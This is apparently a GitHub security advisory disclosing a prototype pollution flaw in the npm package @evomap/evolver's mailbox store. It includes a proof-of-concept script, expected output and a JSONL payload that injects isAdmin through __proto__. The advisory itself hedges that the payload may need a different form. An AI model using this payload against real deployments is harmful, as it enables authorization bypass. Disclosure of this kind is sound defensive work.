GHSA-2cjr-5v3h-v2w4
Evolver has Prototype Pollution via `Object.assign()` in its mailbox store operations
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @evomap/evolver | < 1.69.3 | 1.69.3 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
A prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into `Object.prototype`. The vulnerability exists in the `_applyUpdate()` and `_updateRecord()` functions which use `Object.assign()` to merge user-controlled data without filtering dangerous keys like `__proto__`, `constructor`, or `prototype`.
### Details
The vulnerability exists in `src/proxy/mailbox/store.js` at lines 123 and 145:
```javascript
// src/proxy/mailbox/store.js:115-128
_applyUpdate(row) {
if (row._op === 'update') {
const existing = this._index[row.id];
// VULNERABLE: Direct Object.assign without key filtering
if (existing) Object.assign(existing, row.fields);
else this._index[row.id] = row.fields;
}
// ...
}
// src/proxy/mailbox/store.js:138-150
_updateRecord(id, fields) {
const existing = this._index[id];
// VULNERABLE: Direct Object.assign without key filtering
if (existing) Object.assign(existing, fields);
// ...
}
```
The vulnerability can be triggered when an attacker has the ability to write to the `messages.jsonl` file (used for mailbox persistence). By crafting a malicious JSONL entry with `__proto__` as a field key, the attacker can pollute the prototype of all objects.
The data flows from:
1. `messages.jsonl` file →
2. `readLines()` function (line 47) →
3. `_rebuildIndex()` (line 113) → `_applyUpdate()` (line 121) →
4. `Object.assign()` pollutes prototype
### PoC
**Prerequisites:**
- Node.js installed
- Access to write to the mailbox messages file
**Steps to reproduce:**
1. Create a test file demonstrating the vulnerability:
```javascript
// test-prototype-pollution.js
const fs = require('fs');
const path = require('path');
// Simulate the vulnerable Store class logic
class VulnerableStore {
constructor(filePath) {
this.filePath = filePath;
this._index = {};
}
load() {
if (!fs.existsSync(this.filePath)) return;
const lines = fs.readFileSync(this.filePath, 'utf8').split('\n');
for (const line of lines) {
if (!line.trim()) continue;
try {
const row = JSON.parse(line);
this._applyUpdate(row);
} catch (e) {
// Ignore parse errors
}
}
}
_applyUpdate(row) {
if (row._op === 'update') {
const existing = this._index[row.id];
// VULNERABLE: No filtering of dangerous keys
if (existing) Object.assign(existing, row.fields);
else this._index[row.id] = row.fields;
}
}
update(id, fields) {
this._updateRecord(id, fields);
}
_updateRecord(id, fields) {
const existing = this._index[id];
// VULNERABLE: No filtering of dangerous keys
if (existing) Object.assign(existing, fields);
else this._index[id] = fields;
}
}
// Test the vulnerability
console.log('=== Testing Prototype Pollution ===\n');
// Create a malicious messages.jsonl file
const maliciousContent = JSON.stringify({
_op: 'update',
id: 'msg-123',
fields: {
__proto__: {
polluted: true,
isAdmin: true
},
normalField: 'normalValue'
}
}) + '\n';
const testDir = '/tmp/evolver-pollution-test';
if (!fs.existsSync(testDir)) fs.mkdirSync(testDir, { recursive: true });
const testFile = path.join(testDir, 'messages.jsonl');
fs.writeFileSync(testFile, maliciousContent);
console.log('Created malicious messages.jsonl');
// Load the store (this triggers the vulnerability)
const store = new VulnerableStore(testFile);
store.load();
// Check if prototype was polluted
console.log('\n=== Checking for prototype pollution ===');
const testObj = {};
console.log('testObj.polluted:', testObj.polluted);
console.log('testObj.isAdmin:', testObj.isAdmin);
if (testObj.polluted === true) {
console.log('\n🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!');
console.log('All objects now have "polluted" and "isAdmin" properties.');
} else {
console.log('\n🟡 Prototype pollution may require different payload structure');
}
// Demonstrate impact - bypassing authentication check
console.log('\n=== Impact Demonstration ===');
function checkAdmin(user) {
// Typical pattern that would be vulnerable
if (user.isAdmin) {
return 'Access granted - Admin privileges';
}
return 'Access denied';
}
const regularUser = { name: 'normal_user' };
console.log('Regular user check:', checkAdmin(regularUser));
// Cleanup
fs.rmSync(testDir, { recursive: true });
```
2. Run the test:
```bash
node test-prototype-pollution.js
```
**Expected output:**
```
=== Checking for prototype pollution ===
testObj.polluted: true
testObj.isAdmin: true
🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!
All objects now have "polluted" and "isAdmin" properties.
=== Impact Demonstration ===
Regular user check: Access granted - Admin privileges
```
**Note:** Modern Node.js versions have some prototype pollution protections. For a successful exploit, the attacker might need to use alternative property paths like `constructor.prototype.isAdmin`.
**Attack scenario:**
If an attacker can write to the mailbox messages file (e.g., through file upload, path traversal, or compromised backup restore), they can:
```jsonl
{"_op":"update","id":"malicious","fields":{"__proto__":{"isAdmin":true,"canExecuteArbitraryCode":true}}}
```
### Impact
This is a **Prototype Pollution** vulnerability that can lead to:
- Property injection affecting all JavaScript objects
- Authentication/authorization bypass
- Application logic manipulation
- Denial of service via prototype corruption
- Potential remote code execution if polluted properties affect security-critical code paths
**Attack requirements:** The attacker needs write access to the `messages.jsonl` file. This could be achieved through:
- File upload vulnerabilities
- Path traversal (combined with the Arbitrary File Write vulnerability in the fetch command)
- Compromised backup files
- Shared hosting environments
**Affected users:** Anyone using the mailbox functionality in multi-user environments or with persistent message storage.
References
External links from the advisory. They lead to third-party sites.